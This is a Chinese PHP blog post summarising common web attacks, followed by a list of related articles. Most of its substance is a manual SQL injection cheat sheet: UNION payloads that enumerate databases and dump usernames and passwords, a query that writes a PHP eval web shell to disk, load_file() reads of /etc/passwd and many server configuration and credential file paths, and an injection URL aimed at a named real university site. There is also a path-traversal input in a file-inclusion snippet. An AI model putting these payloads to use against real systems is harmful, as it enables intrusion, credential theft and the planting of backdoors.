PHP常见的几种攻击方式实例小结


Posted in PHP onApril 29, 2019

本文实例总结了PHP常见的几种攻击方式。分享给大家供大家参考,具体如下:

1.SQL Injection(sql注入)

①.暴字段长度 Order by num/*

②.匹配字段 and 1=1 union select 1,2,3,4,5…….n/*

③.暴露字段位置 and 1=2 union select 1,2,3,4,5…..n/*

④.利用内置函数暴数据库信息

version() database() user()

不用猜解可用字段暴数据库信息(有些网站不适用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系统信息:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

数据库权限:

and ord(mid(user(),1,1))=114 /* 返回正常说明为root

暴库 (mysql>5.0)

Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息  and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

暴密码

and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

高级用法(一个可用字段显示两个数据内容):Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

直接写马(Root权限)

条件:

①、知道站点物理路径

②、有足够大的权限(可以用select …. from mysql.user测试)

③、magic_quotes_gpc()=OFF

select '<?php eval($_POST[cmd])?>' into outfile '物理路径' and 1=2 union all select 一句话HEX值 into outfile '路径'

load_file() 常用路径:

1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3、load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、usr/local/app/php5 b/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini

手工注射时出现的问题:

当注射后页面显示:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20

这是由于前后编码不一致造成的,

解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:

http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

既可以继续注射了。。。

2.XSS (Cross Site Scripting)(跨站脚本攻击)

3.Source Code Revelation(源代码暴露)

可以用php.ini或者htaccess控制

<Files ~ "\.inc$">
   Order allow,deny
   Deny from all
</Files>

4.Remote File Inclusion(远程文件包含漏洞)

<?php
$file = $_GET['file']; // “ ../../etc/passwd\0”
if(file_exists('/home/wwwrun' . $file . '.php')){xxx}
?>

5.Session Hijacking(session劫持)

6.Cross Site Request Forgery(跨站请求伪造)

7.Directory Traversal(目录跨越)

希望本文所述对大家PHP程序设计有所帮助。

PHP 相关文章推荐
实现了一个PHP5的getter/setter基类的代码
Feb 25 PHP
php中支持多种编码的中文字符串截取函数!
Mar 20 PHP
mysql_num_rows VS COUNT 效率问题分析
Apr 23 PHP
php curl的深入解析
Jun 02 PHP
解析strtr函数的效率问题
Jun 26 PHP
PHP将回调函数作用到给定数组单元的方法
Aug 19 PHP
ThinkPHP实现带验证码的文件上传功能实例
Nov 01 PHP
php中的观察者模式简单实例
Jan 20 PHP
PHP实现获取某个月份周次信息的方法
Aug 11 PHP
PHP微信开发之根据用户回复关键词\位置返回附近信息
Jun 24 PHP
PHP运用foreach神奇的转换数组(实例讲解)
Feb 01 PHP
Yii 框架入口脚本示例分析
May 19 PHP
php-fpm重启导致的程序执行中断问题详解
Apr 29 #PHP
详解提高使用Java反射的效率方法
Apr 29 #PHP
Thinkphp整合阿里云OSS图片上传实例代码
Apr 28 #PHP
详解php中生成标准uuid(guid)的方法
Apr 28 #PHP
PHP写API输出的时用echo的原因详解
Apr 28 #PHP
PHP+mysql防止SQL注入的方法小结
Apr 27 #PHP
PHP常用工具函数小结【移除XSS攻击、UTF8与GBK编码转换等】
Apr 27 #PHP
You might like
学习php设计模式 php实现合成模式(composite)
2015/12/08 PHP
浅谈PHP定义命令空间的几个注意点(推荐)
2016/10/29 PHP
ASP.NET jQuery 实例15 通过控件CustomValidator验证CheckBoxList
2012/02/03 Javascript
jquery中交替点击事件的实现代码
2014/02/14 Javascript
input标签内容改变的触发事件介绍
2014/06/18 Javascript
使用jquery+CSS实现控制打印样式
2014/12/31 Javascript
JS非Alert实现网页右下角“未读信息”效果弹窗
2015/09/26 Javascript
微信小程序 icon组件详细及实例代码
2016/10/25 Javascript
Vue概念及常见命令介绍(1)
2016/12/08 Javascript
Node.js 中使用 async 函数的方法
2017/11/20 Javascript
Vuejs在v-for中,利用index来对第一项添加class的方法
2018/03/03 Javascript
基于游标的分页接口实现代码示例
2018/11/12 Javascript
微信小程序使用canvas的画图操作示例
2019/01/18 Javascript
vue.js实现三级菜单效果
2019/10/19 Javascript
vue 查看dist文件里的结构(多种方式)
2020/01/17 Javascript
基于小程序请求接口wx.request封装的类axios请求
2020/07/02 Javascript
Vue scoped及deep使用方法解析
2020/08/01 Javascript
Python函数学习笔记
2008/10/07 Python
浅析python 内置字符串处理函数的使用方法
2014/06/11 Python
Python开发之快速搭建自动回复微信公众号功能
2016/04/22 Python
Python编写一个闹钟功能
2017/07/11 Python
Django在win10下的安装并创建工程
2017/11/20 Python
使用pandas read_table读取csv文件的方法
2018/07/04 Python
Django教程笔记之中间件middleware详解
2018/08/01 Python
Python3基础教程之递归函数简单示例
2019/06/07 Python
python单向链表的基本实现与使用方法【定义、遍历、添加、删除、查找等】
2019/10/24 Python
Pytorch to(device)用法
2020/01/08 Python
Django 允许局域网中的机器访问你的主机操作
2020/05/13 Python
Python爬虫谷歌Chrome F12抓包过程原理解析
2020/06/04 Python
美国玛丽莎收藏奢华时尚商店:Marissa Collections
2016/11/21 全球购物
解释一下ruby中的特殊方法与特殊类
2013/02/26 面试题
我们的节日国庆活动方案
2014/08/19 职场文书
投诉书范文
2015/07/02 职场文书
2016教师学习党章心得体会
2016/01/15 职场文书
JavaScript继承的三种方法实例
2021/05/12 Javascript
postgresql使用filter进行多维度聚合的解决方法
2021/07/16 PostgreSQL